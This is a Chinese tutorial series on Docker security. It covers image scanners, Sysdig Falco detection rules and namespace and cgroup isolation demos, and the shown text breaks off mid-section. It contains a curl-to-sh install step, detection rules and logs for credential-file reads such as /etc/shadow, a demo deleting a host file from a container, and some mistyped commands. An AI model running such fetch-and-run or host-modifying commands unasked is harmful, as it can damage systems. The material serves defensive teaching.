主要有kubernetes和本地部署这两种方式。

服务端

  • k8s cluster
代码语言:javascript复制
git clone https://github.com/coreos/clair
cd clair/contrib/helm
cp clair/values.yaml ~/my_custom_values.yaml
vi ~/my_custom_values.yaml
helm dependency update clair
helm install clair -f ~/my_custom_values.yaml

复制

  • local
代码语言:javascript复制
$ mkdir $PWD/clair_config
$ curl -L https://raw.githubusercontent.com/coreos/clair/master/config.yaml.sample -o $PWD/clair_config/config.yaml
$ docker run -d -e POSTGRES_PASSWORD="" -p 5432:5432 postgres:9.6
$ docker run --net=host -d -p 6060-6061:6060-6061 -v $PWD/clair_config:/config quay.io/coreos/clair-git:latest -config=/config/config.yaml

复制

客户端

  • 主分支版本

curl -L https://raw.githubusercontent.com/jgsqware/clairctl/master/install.sh | sh

  • Docker-compose
代码语言:javascript复制
$ git clone git@github.com:jgsqware/clairctl.git $GOPATH/src/github.com/jgsqware/clairctl
$ cd $GOPATH/src/github.com/jgsqware/clairctl
$ docker-compose up -d postgres

复制

Anchore

Anchore与Clair相比更优越的地方,不仅在于功能上,还在生态上。比如Anchor目前可以通过Jenkins/Gitlab无缝地切入CI/CD工作流程,开发人员将代码提交到源代码管理系统,然后触发Jenkins/Gitlab启动创建容器镜像的构建。通过构建失败并返回适当的报告来让开发人员“快速学习”、快速解决问题。接下来介绍Anchore如何与Jenkins进行集成,Jenkins与gitlab集成也有官方介绍。

与Jenkins集成

此外,Anchore支持插件模式和本地模式,但是本地模式已经被官方抛弃,所以目前只能选择插件模式。配置插件以与Anchore Engine服务API的模式可以从工作节点访问其服务API。Anchore插件可以在Pipeline作业中使用,也可以作为构建步骤添加到Freestyle作业中,以自动执行分析,评估镜像的自定义策略以及执行镜像安全扫描。

整个处理流程如下:Jenkins作业将构建容器镜像,并将镜像推送到Anchore Engine服务中预配置的仓库,构建步骤将通过“添加”镜像(指示Anchore Engine从仓库中提取镜像)与Anchore Engine交互,然后对镜像执行策略评估检查。如果策略评估导致“停止”操作,则可以选择将构建步骤配置为构建失败。该插件会将生成的策略评估结果与作业一起存储,以供日后检查/审核该插件可用于Freestyle和Pipeline作业。

部署方式

主要有Jenkins插件和Kubernetes两种部署方式。

Jenkins插件

假定以下先决条件已经满足:

  • Jenkins 2.x已在虚拟机或物理服务器上安装并运行。
  • 已安装并运行Anchore-Engine,可访问 EngineAPI URL(后称为<anchore_url>)和凭据(后称为<anchore_user>和<anchore_pass>),具体请参阅用户文档:Anchore Engine概述和安装。

Kubernetes调用Anchore Engine API

用户提交部署时,由kubernetes调用Anchore Engine API进行镜像安全扫描,评估是否符合安全规则。其实,在CI环节扫描更好,等到kubernetes去发起扫描会把功能耦合在一起,不是很好的设计。

Harbor

相信看了上面Clair和Anchore的落地方案,读者都会觉得有些复杂,落地成本较高。值得高兴的是,vmware开源的docker镜像仓库 Harbor v1.2 以后集成了clair。

架构

集成clair的功能依然是靠其官方镜像和postgres结合形成,而扫描之后的信息则通过harbor自身的数据库进行保存。目前harbor还不支持黑白名单机制。支持设置漏洞响应阈值,比如只有存在高危漏洞的镜像才会阻断后续CI/CD或者用户拉取。Harbor除了集成了Clair的功能外,从v1.1 起也增加了镜像内容信任的能力,可以帮助用户实现容器镜像的内容信任问题。通过内容信任(Content Trust)的机制来确保镜像的来源可信。

Notary是一种发布和管理受信任的内容集合的工具,可以通过与Linux系统中提供的软件存储库管理工具类似的方式批准可信发布和创建签名的集合,可用于镜像伪造和篡改的检测、镜像版本检测、用户之间的信任授权管理等。

整个镜像的安全扫描和审计逻辑如下图所示:

  • 当用户提交镜像build任务后,Registry V2会调用Clair的API提交分层后的镜像layers,Clair扫描结束将结果发会给Harbor,Harbor再根据漏洞阈值决定是否允许用户下载。如果镜像的漏洞级别超过了这个阀值,镜像将无法下载。
  • 当镜像的用户下载时,根据镜像的名称,可以从 Notary 获得镜像的摘要,然后使用 Registry V2 的 API,做 Pull by content (Digest)的 Registry 调用,即可获得来自信任者的镜像。如果镜像没有签过名,获取 Digest 会失败,因而无法下载镜像。

下面是Harbor扫描结果展示:

上图显示了用户可以在Harbor上主动发起扫描,下图显示了镜像安全扫描结果。

部署

由于Harbor官方和社区提供了非常详细的部署文档,本文就不赘述了。

选型建议

通过上面的对比,读者可以根据自己的实际情况进行选择。如果方便迁移docker镜像仓库的话,harbor会是一个比较容易落地的选择。如果在Jenkins方面使用的比较重的企业,建议也可以选择Anchore。

结尾

综上,本文从Docker镜像漏洞挖掘入手,介绍了常见的镜像漏洞引入方式和检测工具。然后,介绍了业界比较流行的Docker镜像安全扫描工具的原理、架构、部署和落地方案,希望读者对Docker镜像安全扫描能有一个相对全面的了解,那便足矣。

参考资料

  • docker镜像安全概述
  • 安全防护工具之:Anchore
  • docker镜像安全扫描
  • clair源码解析
  • clair二次开发指南
  • Docker镜像扫描器的实现:clair
  • clairctl部署案例
  • analyze-local-images安装异常处理
  • anchore github仓库
  • anchore jenkins接入方式
  • docker基础:私库系列:再探Harbor:(5)集成clair
  • 作者博文:Harbor容器镜像安全漏洞扫描详述和视频
  • 容器镜像之明察秋毫:Harbor内容信任的原理及演示视频
  • harbor用户文档

part3

入侵检测和漏洞扫描可谓是主动发现安全问题的"内功外功",在容器技术应用越来越广泛的今天,也需要被给予同样的重视。本文将探讨Docker入侵检测工具Sysdig Falco的基础知识以及如何检测容器的异常行为等问题。Sysdig Falco是一种旨在检测异常活动开源的系统行为监控程序。作为Linux主机入侵检测系统,对待Docker依旧特别有用,因为它支持容器上下文,如 container.id,container.image或其规则的命名空间。

原理

虽说Sysdig Falco是一种审计工具,但却与Seccomp或AppArmor等内核态的审计工具全然不同。Sysdig Falco在用户空间中运行,使用内核模块拦截系统调用,而其他类似工具在内核级别运行系统调用过滤或监控。用户空间实现的一个好处是能够与Docker编排工具等外部系统集成。

特点

Sysdig Falco具备以下特点:

  • 监控行为或活动
    • 探测通过规则集定义好的异常行为
    • 使用sysdig丰富和强大的过滤表达式
  • 对容器的全面支持
    • 使用sysdig的容器支持
  • 丰富的通知方式
    • 输出报警到文件、标准输出以及syslog
  • 开源
    • 任何人都可以贡献规则或者代码

架构

如下图所示,当发生系统调用时,内核hook会调用sysdig库,产生一个事件,经过Falco规则集的过滤表达式之后产生异常事件,触发报警。

演示

sysdig falco定义的规则非常容易理解,下面可以看几个demo:

  • 容器中执行了shell

container.id != 主机,proc.name = bash

  • 系统二进制文件被重写

fd.directory in (/bin,/sbin,/usr/bin,/user/sbin) 并写入

  • 容器namespace发生改变

evt.type = setns and not proc.name in (docker,sysdig)

  • /dev下有非设备文件写入

(evt.type = create or evt.arg.flags 包含 O_CREAT) 和 proc.name != blkid 和 fd.directory = /dev and fd.name != /dev/null

  • 进程试图访问相机

evt.type = open and fd.name = /dev/video0,而不是 proc.name in (skype,webex)

本文将从以下4个安全威胁场景展示如何使用Sysdig Falco进行异常行为监控:

  • 运行交互式shell的容器
  • 运行未经授权的进程
  • 写入非用户数据目录
  • 容器异常挂载

读者将同时扮演攻击者和防御者(系统管理员)角色,验证Sysdig Falco是否已检测到入侵企图。

部署Sysdig Falco

首先,把构建Sysdig Falco所需要的配置文件放在/etc/falco下:

  • 展示和输出相关的配置
代码语言:javascript复制
sudo -s
mkdir/etc/falco
cd/etc/falco
curl https://raw.githubusercontent.com/katacoda-scenarios/sysdig-scenarios/master/sysdig-falco/assets/falco.yaml -o falco.yaml

$ cat falco.yaml
#中间大部分省略了,主要是展示和输出相关的配置
# Where security notifications should go.
# Multiple outputs can be enabled.

syslog_output:
  enabled: false

file_output:
  enabled: true
  filename: /var/log/falco_events.log

stdout_output:
  enabled: true

program_output:
  enabled: false
  program: mail -s "Falco Notification" someone@example.com

复制

  • 检测规则的配置
代码语言:javascript复制
curl ttps://raw.githubusercontent.com/katacoda-scenarios/sysdig-scenarios/master/sysdig-falco/assets/falco_rules.yaml -o falco_rules.yaml

$ cat falco_rules.yaml
#中间大部分省略了,主要是检测规则的配置
- rule: Read sensitive file untrusted
  desc: >
    an attempt to read any sensitive file (e.g. files containing user/password/authentication
    information). Exceptions are made for known trusted programs.
  condition: >
    sensitive_files and open_read
    and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries,
     cron_binaries, read_sensitive_file_binaries, shell_binaries, hids_binaries)
    and not cmp_cp_by_passwd
    and not ansible_running_python
    and not proc.cmdline contains /usr/bin/mandb
  output: >
    Sensitive file opened for reading by non-trusted program (user=%user.name name=%proc.name
    command=%proc.cmdline file=�.name)
  priority: WARNING
  tags: [filesystem]

复制

  • log文件创建

touch /var/log/falco_events.log

总而言之,falco.yaml配置Falco服务,falco_rules.yaml配置威胁检测模式,falco_events.log将用作事件日志文件。

然后,我们可以从Dockerhub拉取镜像并启动Sysdig Falco容器,安装我们之前定义的配置文件:

代码语言:javascript复制
docker pull sysdig/falco
docker run -d --name falco --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v/dev:/host/dev -v/proc:/host/proc :ro -v/boot:/host/boot:ro -v/lib/modules:/host/lib/modules:ro -v/usr:/host/usr:ro -v /etc/falco/falco.yaml: /etc/falco/falco.yaml -v /etc/falco/falco_rules.yaml:/etc/falco/falco_rules.yaml -v /var/log/falco_events.log:/var/log/falco_events.log sysdig/falco

复制

注意:如果不小心终止了容器或想要重新加载配置文件,随时可以重新启动falco。

代码语言:javascript复制
$ docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUSPORTS               NAMES
81cf560cb4d0        sysdig/falco        "/docker-entrypoint.…"   59 seconds ago      Up 25 seconds                    falco

复制

下面开始进行4个威胁场景的检测演示。

运行交互式shell的容器

我们的第一个例子很简单:检测攻击者在任意容器中运行交互式shell。此警报包含在默认规则集中。让我们先触发它看看,然后再查看规则定义。

在Docker主机上运行容器,例如Nginx:

代码语言:javascript复制
docker run -d -P --name example1 nginx
docker ps

复制

现在生成一个交互式shell:

docker exec -it example1 bash

如果需要,你可以玩一下,然后运行exit离开容器shell。

如果我们使用>tail /var/log/falco_events.log来打开日志文件,我们应该能够看到类似下面的log:

代码语言:javascript复制
17:13:24.357351845: Notice A shell was spawned in a container with an attached terminal (user=root example1 (id=604aa46610dd) shell=bash parent=<NA> cmdline=bash terminal=34816)

复制

这是/etc/falco/falco_rules.yaml中触发事件的规则:

代码语言:javascript复制
- rule: Terminal shell in container
   desc: A shell was spawned by a program in a container with an attached terminal.
   condition: >
     spawned_process and container
     and shell_procs and proc.tty != 0
   output: "A shell was spawned in a container with an attached terminal (user=%user.name %container.info shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty)"
   priority: NOTICE
   tags: [container, shell]

复制

这是一个相当复杂的规则,可能你现在还没有完全理解每个部分,但是看到识别规则名称、描述、一些触发条件、事件输出以及Falco提供的一些上下文感知变量,如 proc.name 或%container.info,优先级和一些标签。这是sysdig falco的特有语法和配置导致的。

运行未经授权的进程

Docker最佳实践建议每个容器只运行一个进程。这在安全上也是非常有意义,因为你可以轻而易举的发现异常启动的进程。比如说你知道你的Nginx容器应该只运行nginx进程。其他的任意进程都是异常的指标。让我们为此示例下载配置文件的新版本:

代码语言:javascript复制
sudo -s
cd/etc/falco
curl https://raw.githubusercontent.com/katacoda-scenarios/sysdig-scenarios/master/sysdig-falco/assets/falco_rules_step3.yaml -o falco_rules.yaml

复制

现在,请注意文件中的以下规则:

代码语言:javascript复制
# Our nginx containers should only be running the 'nginx' process
 - rule: Unauthorized process on nginx containers
   desc: There is a process running in the nginx container that is not described in the template
   condition: spawned_process and container and container.image startswith nginx and not proc.name in (nginx)
   output: Unauthorized process (%proc.cmdline) running in (%container.id)
   priority: WARNING

复制

让我们剖析这条规则的触发条件,每个条件都是缺一不可的:

  • spawned_process(宏:成功运行新进程)
  • container(宏:运行它的命名空间属于容器而不是主机)
  • 以nginx开头的container.image(容器属性:拥有每个授权进程列表的镜像名称)
  • 不属于nginx(允许的进程名称列表)的 proc.name

要应用新配置文件,我们将重新启动Sysdig Falco容器:

docker restart falco

现在我们需要运行一个新的Nginx容器:

docker run -d -P --name example2 nginx

并运行example2容器中的任意内容,例如ls:

代码语言:javascript复制
$ docker exec -it example2 ls
bin   dev  home  lib64  mnt  proc  run   srv  tmp  var
boot  etc  lib   media  opt  root  sbin  sys  usr

复制

如果我们使用tail /var/log/falco_events.log查看日志,可以看到类似下面的记录:

代码语言:javascript复制
$ tail /var/log/falco_events.log
17:16:00.345074348: Notice A shell was spawned in a container with an attached terminal (user=root example1 (id=083bf0190f7e) shell=bash parent=<NA> cmdline=bash  terminal=34816)
17:16:54.625502123: Warning Unauthorized process (ls ) running in (d81ccf05e0a6)

复制

看吧,这个异常捕获得非常漂亮! Sysdig Falco通知显示了一个异常的进程。

写入非用户数据目录

容器不变性意味着运行的容器完全相同,它们不会对从镜像运行的软件进行任意更改,并且任意用户数据都位于外部安装的卷中。当任意进程尝试写入非数据目录时,就让触发警报。让我们为此示例下载配置文件的新版本:

代码语言:javascript复制
sudo -s
cd/etc/falco
curl https://raw.githubusercontent.com/katacoda-scenarios/sysdig-scenarios/master/sysdig-falco/assets/falco_rules_step4.yaml -o falco_rules.yaml

复制

注意定义我们为Nginx定制的允许写入目录的宏:

代码语言:javascript复制
- rule: Write to non user_data dir
   desc: attempt to write to directories that should be immutable
   condition: open_write and container and not user_data_dir
   output: "Writing to non user_data dir (user=%user.name command=%proc.cmdline file=�.name)"
   priority: ERROR

复制

我们来看看上面使用的open_write宏:

代码语言:javascript复制
- macro: open_write
 condition: (evt.type=open or evt.type=openat) and evt.is_open_write=true and fd.typechar='f'

复制

这些条件基于Sysdig系统调用过滤器,在这种情况下,我们过滤打开或openat系统调用,打开模式写入和文件描述符。要应用新配置文件,我们将重新启动Sysdig Falco容器:

docker restart falco

现在,可以生成一个新容器并尝试以下规则:

代码语言:javascript复制
docker run -d -P --name example3 nginx
docker exec -it example3 bash
mkdir /userdata
touch /userdata/foo
touch /usr/foo

复制

退出容器并查看日志文件tail /var/log/falco_events.log。你会发现两个异常事件:

代码语言:javascript复制
$ tail /var/log/falco_events.log
...
17:19:23.529937252: Error Writing to non user_data dir (user=root command=bash  file=/dev/tty)
17:19:23.540872232: Error Writing to non user_data dir (user=root command=touch /usr/foo file=/usr/foo)

复制

第一个事件是因为运行交互式shell写入/dev/tty,这是正常的和符合预期的。第二个事件是Falco检测到写入/usr的异常文件。

通过容器进行敏感挂载

容器通常具有已定义且不经常更改的挂载点集合。如果容器尝试在允许的目录集之外安装主机目录或文件,则可能是某人试图突破容器,或者是团队成员为容器开放了太大的权限。让我们为此示例下载配置文件的新版本:

代码语言:javascript复制
sudo -s
cd/etc/falco
curl https://raw.githubusercontent.com/katacoda-scenarios/sysdig-scenarios/master/sysdig-falco/assets/falco_rules_step5.yaml -o falco_rules.yaml

复制

这是监视容器敏感挂载的规则:

代码语言:javascript复制
- rule: Launch Sensitive Mount Container
desc: >
  Detect the initial process started by a container that has a mount from a sensitive host directory
  (i.e. /proc). Exceptions are made for known trusted images.
condition: evt.type=execve and proc.vpid=1 and container and sensitive_mount and not trusted_containers
output: Container with sensitive mount started (user=%user.name command=%proc.cmdline %container.info)
priority: INFO
tags: [container, cis]

复制

宏sensitive_mount包含禁用目录。默认情况下,它只是监视/proc,但在我们的配置文件中,我们已经修改为包含/mnt了。

代码语言:javascript复制
- macro: sensitive_mount
condition: (container.mount.dest[/proc*] != "N/A" or container.mount.dest[/mnt*] != "N/A")

复制

要应用新配置文件,我们将重新启动Sysdig Falco容器:

docker restart falco

现在,可以生成一个新容器并尝试mount /mnt:

代码语言:javascript复制
docker run -d -P --name example4 -v/mnt:/tmp/mnt alpine

复制

如果我们使用tail /var/log/falco_events.log查看日志,可能会看到:

代码语言:javascript复制
17:21:07.360913099: Informational Container with sensitive mount started (user=root command=sh  example4(id=c35126bf862a))

复制

Sysdig Falco通知显示它检测到敏感的挂载。

事件发生器

Falco有一个合成事件生成器,可以显示默认规则集的所有功能。这非常适合全面了解Sysdig Falco的所有功能。

让我们拉取镜像并启动事件生成器:

代码语言:javascript复制
docker pull sysdig/falco-event-generator
docker run -d --name falco-event-generator sysdig/falco-event-generator

复制

如果我们使用tail -f /var/log/falco_events.log查看日志,将看到检测到许多可疑行为,因为该容器模拟了各种典型的容器入侵和突破尝试:

代码语言:javascript复制
19:00:55.362191761: Error File created below /dev by untrusted program (user=root command=event_generator  file=/dev/created-by-event-generator-sh)
19:00:56.365043165: Notice Database-related program spawned process other than itself (user=root program=sh -c ls > /dev/null parent=mysqld)
19:00:57.367928872: Warning Sensitive file opened for reading by non-trusted program (user=root name=event_generator command=event_generator  file=/etc/shadow)
19:00:59.370589147: Error File below known binary directory renamed/removed (user=root command=event_generator  operation=rename file=<NA> res=0 oldpath=/bin/true newpath=/bin/true.event-generator-sh )
...

复制

本文介绍了Sysdig Falco的基础知识及其基于Docker部署上的操作。从内核系统调用和事件,Linux命名空间和特定于容器的元数据开始,可以配置安全警报,而无需修改或检测Docker镜像。这次我们只使用简单的文件输出来关注规则语法,但你也可以配置sysdig falco的自定义编程输出以向企业中的事件和报警系统发送通知。

参考资料

  • Sysdig Falco文档
  • SELinux,Seccomp,Sysdig Falco的技术讨论

part4

众所周知,Docker使用namespace进行环境隔离、使用cgroup进行资源限制。但是在实际应用中,还是有很多企业或者组织没有使用namespace或者cgroup对容器加以限制,从而埋下安全隐患。本文定位于简单介绍namespace和cgroup的基本原理之后,通过具体配置和应用向读者展示如何应用这些技术保护docker容器安全,不过namespace和cgroup并不是万能的,他们只是保障Docker容器安全的多种方案中的一类而已。

命名空间

概述

我们可以给容器分配有限的资源,这有助于限制系统和恶意攻击者可用的系统资源。每个容器所能获取的组件有:

  • 网络堆栈
  • 进程空间
  • 文件系统实例

可通过使用namespace来实现限制资源。namespace就像一个“视图”,它只显示系统上所有资源的一个子集。这提供了一种隔离形式:在容器中运行的进程不能看到或影响其他容器中的进程或者宿主本身。

以下是一些常见的namespace类型实例。命名空间示例

代码语言:javascript复制
Cgroup      CLONE_NEWCGROUP   限制root目录
IPC         CLONE_NEWIPC      System V IPC, POSIX消息队列
Network     CLONE_NEWNET      网络设备、栈、端口等
Mount       CLONE_NEWNS       挂载点
PID         CLONE_NEWPID      进程ID
User        CLONE_NEWUSER     用户和组ID
UTS         CLONE_NEWUTS      主机名和NIS域名

复制

Docker run 命令有几个参数和 namespace 相关:

代码语言:javascript复制
IPC:
      --ipc string IPC namespace to use
PID:
      --pid string PID namespace to use
User:
      --userns string User namespace to use
UTS:
      --uts string UTS namespace to use

复制

确定当前Docker用户

默认情况下,Docker守护程序在主机上以root用户身份运行。通过列出所有进程,你可以识别Docker守护程序运行的用户。

代码语言:javascript复制
ps aux | grep docker

复制

由于守护程序以root身份运行,因此启动的任何容器将具有与主机的root用户相同的安全上下文。

代码语言:javascript复制
docker run --rm alpine id

复制

这样时有安全风险的:如果root用户拥有的文件可从容器访问,则可以由正在运行的容器修改。

删除文件

以下命令标识以root用户身份运行容器的风险。

首先,在我们的主机上创建touch命令的副本。

代码语言:javascript复制
sudo cp /bin/touch /bin/touch.bak && ls -lha /bin/touch.bak

复制

由于容器的/hos目录和宿主的/bin是同一个,因此可以从容器删除宿主上的文件,不信你试试。

代码语言:javascript复制
docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak

复制

结果,该命令被删的一干二净。

代码语言:javascript复制
ls -lha /bin/touch.bak

复制

在这种情况下,容器能够从主机删除触摸二进制文件。

更改容器用户

可以通过更改用户和组上下文以及使用非特权用户运行的容器来规避以上风险。

docker run --user = 1000:1000 --rm alpine id

作为无特权用户,将无法删除二进制文件。

代码语言:javascript复制
$ docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak
$ docker run --user=1000:1000 --rm alpine id
uid=1000 gid=1000
$ sudo cp /bin/touch /bin/touch.bak
$ docker run --user=1000:1000 -it -v /bin:/host/ alpine rm -f /host/touch.bak
rm: can't remove '/host/touch.bak': Permission denied

复制

但是,如果我们在容器内部需要访问根目录,那么我们仍然会将自己暴露给前一个场景。这是命名空间出现的原因。

启用用户命名空间

Docker建议不要在启用namespace模式和禁用namespace模式之间来回切换Docker daemon,执行此操作可能会导致镜像权限出现问题。

namespace是Linux内核安全功能,该功能允许namespace或容器内的root用户访问主机上的非特权用户ID。

任务

使用参数userns-remap启动Docker daemon时,将启用namespace。运行以下命令以修改Docker daemon设置并重新启动该进程。

代码语言:javascript复制
curl https://gist.githubusercontent.com/BenHall/bb878c99d06a63cd8ed4d1c0a6941df4/raw/76136ffbca341846619086cfe40ab8e013683f47/daemon.json -o /etc/docker/daemon.json&& sudo service docker restart

复制

使用cat /etc/docker/daemon.json查看设置

代码语言:javascript复制
cat /etc/docker/daemon.json
{
    "bip":"172.18.0.1/24",
    "debug": true,
    "storage-driver": "overlay",
    "userns-remap": "1000:1000",
    "insecure-registries": ["registry.test.training.katacoda.com:4567"]
}

复制

重新启动后,你可以使用以下命令验证namespace是否到位

代码语言:javascript复制
docker info | grep "Root Dir"
WARNING: No swap limit support
Docker Root Dir: /var/lib/docker/100000.100000

复制

Docker将不再以root用户身份将文件存储在磁盘卷上。相反,所有内容都作为映射用户进行处理。Docker Root Dir定义了Docker为映射用户存储数据的位置。

注意:在现有系统上启用此功能时,需要重新下载Docker Images。

命名空间保护

启用namespace后,Docker Dameon将以其他用户身份运行。

ps aux |grep dockerd

启动容器时,容器内的用户将具有root权限。

docker run --rm alpine id

但是,用户将无法修改主机上运行的任何内容。

代码语言:javascript复制
sudo cp / bin / touch /bin/touch.bak
docker run -it -v / bin /:/ host / alpine rm -f /host/touch.bak

复制

与此前不同,我们的ps命令仍然存在。

代码语言:javascript复制
ls -lha /bin/touch.bak

复制

通过使用namespace,可以将Docker root用户分开,并提供比以前更强的安全性和隔离性。

代码语言:javascript复制
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
$ sudo cp /bin/touch /bin/touch.bak
$ docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak
rm: can't remove '/host/touch.bak': Permission denied
$ ls -lha /bin/touch.bak
-rwxr-xr-x 1 root root 63K Aug 27 03:59 /bin/touch.bak

复制

使用网络命名空间

虽然cgroup控制进程可以使用多少资源,但命名空间还能控制进程的查看和访问权限。

例子

启动容器时,将定义并创建网络接口。这为容器提供了唯一的IP地址和接口。

代码语言:javascript复制
[root@host01 ~]# docker run -it alpine ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
14: eth0@if15: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
    link/ether 02:42:ac:12:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.3/24 brd 172.18.0.255 scope global eth0
       valid_lft forever preferred_lft forever

复制

通过将命名空间更改为主机,而不是容器的网络与其接口隔离,该进程将可以访问主机网络接口。

代码语言:javascript复制
[root@host01 ~]# docker run -it --net=host alpine ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP qlen 1000
    link/ether 02:42:ac:11:00:11 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.17/16 brd 172.17.255.255 scope global enp0s3
       valid_lft forever preferred_lft forever
    inet6 fe80::b3ad:ecc4:2399:7a54/64 scope link
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
    link/ether 02:42:cd:78:f0:22 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/24 brd 172.18.0.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::e9ad:a1a7:8b68:a0d1/64 scope link
       valid_lft forever preferred_lft forever
5: veth158bc01@if4: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue master docker0 stateUP
    link/ether 9e:bc:3d:01:53:95 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::ca3e:49ea:e1d0:8755/64 scope link
       valid_lft forever preferred_lft forever

复制

如果进程监听端口,它们将在宿主接口上被监听并映射到容器。

使用Pid命名空间

与网络一样,容器可以看到的进程也取决于它所属的命名空间。通过更改pid命名空间,允许容器与超出其正常范围的进程进行交互。

例子

第一个容器将在其进程名称空间中运行。因此,它可以访问的唯一进程是在容器中启动的进程。

代码语言:javascript复制
[root@host01 ~]# docker run -it alpine ps aux
PID   USER     TIME   COMMAND
    1 root       0:00 ps aux

复制

通过将命名空间更改为主机,容器还可以查看系统上运行的所有其他进程。

代码语言:javascript复制
[root@host01 ~]# docker run -it --pid=host alpine ps aux
PID   USER     TIME   COMMAND
    1 root       0:00 /usr/lib/systemd/systemd
    2 root       0:00 [kthreadd]
    4 root       0:00 [kworker/0:0H]
    6 root       0:00 [mm_percpu_wq]
    7 root       0:00 [ksoftirqd/0]
    8 root       0:00 [rcu_sched]
    9 root       0:00 [rcu_bh]

复制

共享命名空间

有时需要提供容器访问主机名称空间,例如调试工具,但被认为是不好的做法。这是因为你正在打破可能引入漏洞的容器安全模型。相反,如果需要,请使用共享命名空间来仅访问容器所需的命名空间。

例子

第一个容器启动Nginx服务器。这将定义一个新的网络和进程命名空间。Nginx服务器将自身绑定到新定义的网络接口的端口80。

代码语言:javascript复制
docker run -d --name http nginx:alpine

复制

其他容器现在可以使用语法容器重用此命名空间:<name>。curl命令下面可以访问在localhost上运行的HTTP服务器,因为它们共享相同的网络接口。

代码语言:javascript复制
docker run --net = container:http benhall / curl curl -s localhost

<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>

复制

它还可以查看共享容器中的进程并与之交互。

代码语言:javascript复制
docker run --pid=container:http alpine ps aux
PID   USER     TIME   COMMAND
    1 root       0:00 nginx: master process nginx -g daemon off;
    6 100        0:00 nginx: worker process
    7 root       0:00 ps aux

复制

这对于调试工具很有用,例如strace。这允许你在不更改或重新启动应用程序的情况下为特定容器提供更多权限。

cgroup

概述

cgroup可为系统中所运行的任务或进程的用户群组分配资源,比如CPU事件、系统内存、网络带宽或者这些资源的组合。一般可以分为下面几种类型:

  • Resource limitation: 限制资源使用,比如内存使用上限以及文件系统的缓存限制。
  • Prioritization: 优先级控制,比如:CPU利用和磁盘IO吞吐。
  • Accounting: 一些审计或一些统计,主要目的是为了计费。
  • Control: 挂起进程,恢复执行进程。

以下是一些常见的cgroup类型示例。

CGroups例子

代码语言:javascript复制
--cpu-shares #限制cpu共享
--cpuset-cpus #指定cpu占用
--memory-reservation #指定保留内存
--kernel-memory #内核占用内存
--blkio-weight (block IO) #blkio权重
--device-read-iops #设备读iops
--device-write-iops #设备写iops

复制

docker run中与cgroup相关的参数如下:

代码语言:javascript复制
block IO:
      --blkio-weight value          Block IO (relative weight), between 10 and 1000
      --blkio-weight-device value   Block IO weight (relative device weight) (default [])
      --cgroup-parent string        Optional parent cgroup for the container
CPU:
      --cpu-percent int             CPU percent (Windows only)
      --cpu-period int              Limit CPU CFS (Completely Fair Scheduler) period
      --cpu-quota int               Limit CPU CFS (Completely Fair Scheduler) quota
  -c, --cpu-shares int              CPU shares (relative weight)
      --cpuset-cpus string          CPUs in which to allow execution (0-3, 0,1)
      --cpuset-mems string          MEMs in which to allow execution (0-3, 0,1)
Device:    
      --device value                Add a host device to the container (default [])
      --device-read-bps value       Limit read rate (bytes per second) from a device (default [])
      --device-read-iops value      Limit read rate (IO per second) from a device (default [])
      --device-write-bps value      Limit write rate (bytes per second) to a device (default [])
      --device-write-iops value     Limit write rate (IO per second) to a device (default [])
Memory:      
      --kernel-memory string        Kernel memory limit
  -m, --memory string               Memory limit
      --memory-reservation string   Memory soft limit
      --memory-swap string          Swap limit equal to memory plus swap: '-1' to enable unlimited swap
      --memory-swappiness int       Tune container memory swappiness (0 to 100) (default -1)

复制

定义内存限制

可以通过定义上限边界来帮助限制应用程序的内存泄漏或其他程序bug。

例子

代码语言:javascript复制
docker run -d --name mb100 --memory 100m alpine top
da4db4fd6b70501783c172b7459227c6c8e0426784acf1da26760d80eb2403b0

复制

容器的内存使用可通过docker stats命令查看。

代码语言:javascript复制
docker stats --no-stream
CONTAINER ID        NAME                CPU %               MEM USAGE / LIMIT   MEM %               NET I/O             BLOCK I/O           PIDS
da4db4fd6b70        mb100               0.00%               440KiB / 100MiB     0.43%               6.21kB / 90B        1.06MB / 0B         1

复制

定义CPU份额

虽然内存限制定义了设置的最大值,但CPU限制基于共享。这些份额是一个进程应该与另一个进程在处理时间上分配的权重。 如果CPU处于空闲状态,则该进程将使用所有可用资源。 如果第二个进程需要CPU,则将根据权重共享可用的CPU时间。

例子

